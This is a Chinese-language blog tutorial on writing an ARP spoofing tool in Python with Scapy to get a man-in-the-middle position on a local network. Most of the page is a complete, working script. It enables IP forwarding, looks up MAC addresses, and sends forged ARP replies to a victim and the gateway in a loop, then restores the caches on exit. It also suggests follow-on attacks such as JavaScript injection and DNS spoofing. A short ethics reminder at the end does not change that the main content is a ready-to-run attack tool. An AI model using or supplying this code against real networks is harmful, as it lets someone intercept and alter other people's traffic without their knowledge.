如何使用Scapy在Python中构建ARP欺骗器?实现教程

2021年11月16日16:35:11 发表评论 867 次浏览

Python如何构建ARP欺骗器?本文使用 Scapy 在 Python 中构建和创建 ARP 欺骗脚本,以便能够成为中间人来监视、拦截和修改网络中的数据包。

如何使用Scapy构建ARP欺骗器?在本教程中,我们将使用Python 中的Scapy库构建一个ARP 欺骗脚本。

什么是ARP欺骗

嗯,简而言之,它是一种获得中间人情况的方法。从技术上讲,它是一种攻击将欺骗性 ARP 数据包(虚假数据包)发送到网络(或特定主机)上的技术,使攻击者能够即时拦截、更改或修改网络流量。

一旦你(作为攻击者)成为中间人,你就可以从字面上拦截或更改传入或传出受害者设备的所有内容。因此,在本教程中,我们将编写一个 Python 脚本来做到这一点。

在常规网络中,所有设备都正常与网关通信,然后与 Internet 通信,如下图所示:

如何使用Scapy在Python中构建ARP欺骗器?实现教程

现在攻击者需要向两台主机发送 ARP 响应:

  • 向网关发送 ARP 响应,说“我有受害者的 IP 地址”。
  • 向受害者发送 ARP 响应,说“我有网关的 IP 地址”。
如何使用Scapy在Python中构建ARP欺骗器?实现教程

一旦攻击者进行了如上图所示的 ARP Spoof 攻击,他/她将处于中间人情况:

如何使用Scapy在Python中构建ARP欺骗器?实现教程此时,一旦受害者发送任何数据包(例如 HTTP 请求),它将首先传递到攻击者的机器,然后将数据包转发到网关,因此你可能注意到,受害者对此一无所知攻击,换句话说,他/她将无法弄清楚他/她正在被攻击。

理论够了!在我们开始之前,你需要安装所需的库:

pip3 install scapy

如果你使用的是 Windows,请查看本教程以使 Scapy 在你的机器上正常运行。此外,你需要安装pywin32,如下所示:

pip3 install pywin32

Python构建ARP欺骗器示例:编写 Python 脚本

Python如何构建ARP欺骗器?首先,我们需要导入必要的模块:

from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys

注意:你需要在你的机器上安装 scapy 库,前往这篇文章,或者官方 scapy网站

一开始,我需要提到我们需要启用 IP 转发

如何使用Scapy构建ARP欺骗器?在各种平台上启用IP路由的方法有很多,但是,我在这里制作了一个python模块,让你可以在Windows下启用IP路由,而无需担心任何事情。

对于类 Unix 用户(本教程的建议平台),你只需要编辑需要 root 访问权限的文件“/proc/sys/net/ipv4/ip_forward”并将值1 设置为已启用,检查本教程了解更多信息。无论如何,这个函数是这样做的:

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open(file_path) as f:
        if f.read() == 1:
            # already enabled
            return
    with open(file_path, "w") as f:
        print(1, file=f)

对于 Windows 用户,一旦你复制 services.py到当前目录中,你就可以复制粘贴此功能:

def _enable_windows_iproute():
    """
    Enables IP route (IP Forwarding) in Windows
    """
    from services import WService
    # enable Remote Access service
    service = WService("RemoteAccess")
    service.start()

Python构建ARP欺骗器示例 - 下面的函数处理在所有平台中启用 IP 路由:

def enable_ip_route(verbose=True):
    """
    Enables IP forwarding
    """
    if verbose:
        print("[!] Enabling IP Routing...")
    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
    if verbose:
        print("[!] IP Routing enabled.")

现在,让我们进入很酷的东西。首先,我们需要一个实用函数,使我们能够获取网络中任何机器的 MAC 地址:

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

我们使用 Scapy 的srp()函数将请求作为数据包发送并继续侦听响应,在这种情况下,我们发送 ARP 请求并侦听任何 ARP 响应。

其次,我们将创建一个函数来完成本教程的核心工作,给定一个目标 IP 地址和一个主机 IP 地址,它会更改目标 IP 地址的 ARP 缓存,说我们有主机的 IP 地址

def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

上述代码获取目标的 MAC 地址,制作恶意 ARP 回复(响应)数据包,然后发送。

一旦我们想阻止攻击,我们需要将真实地址重新分配给目标设备(以及网关),如果我们不这样做,受害者将失去互联网连接,很明显发生了一些事情,我们不想这样做,我们将依次发送七个合法的 ARP 回复数据包(常见做法):

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

这类似于spoof()函数,唯一的区别是它发送的合法数据包很少。换句话说,它正在发送真实的信息。

如何使用Scapy构建ARP欺骗器?现在我们需要编写主要代码,它同时欺骗了两者;无限地访问目标 和 主机(网关),直到检测到CTRL+C,因此我们将恢复原始地址,如下Python构建ARP欺骗器示例:

if __name__ == "__main__":
    # victim ip address
    target = "192.168.1.100"
    # gateway ip address
    host = "192.168.1.1"
    # print progress to the screen
    verbose = True
    # enable ip forwarding
    enable_ip_route()
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

我在 linux 机器上运行脚本,这是我的结果的屏幕截图:

如何使用Scapy在Python中构建ARP欺骗器?实现教程

Python如何构建ARP欺骗器?在这个例子中,我使用我的个人电脑作为受害者,如果你尝试检查你的ARP 缓存

如何使用Scapy在Python中构建ARP欺骗器?实现教程

你将看到攻击者的 MAC 地址(在本例中为"192.168.1.105")与网关的相同,我们绝对上当了!

在攻击者的机器上,当你点击CTRL+C关闭程序时,这里是恢复过程的截图:

如何使用Scapy在Python中构建ARP欺骗器?实现教程

回到受害机器,你将看到网关的原始 MAC 地址已恢复:

如何使用Scapy在Python中构建ARP欺骗器?实现教程

现在,你可能会说成为中间人有什么好处?嗯,这是一个非常重要的问题。事实上,只要你对 Scapy 或任何其他中间人工具有很好的体验,你就可以做很多事情,可能性是无穷无尽的。例如,你可以在 HTML 响应中注入 javascript 代码、DNS 欺骗你的目标、拦截文件并动态修改它们、网络嗅探和监控等等。

所以,这是 ARP 欺骗攻击的快速演示,请记住,合乎道德地使用它!在你的专用网络上使用它,不要在你没有授权的网络上使用它。

查看本教程以检测网络中的此类攻击!

木子山

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: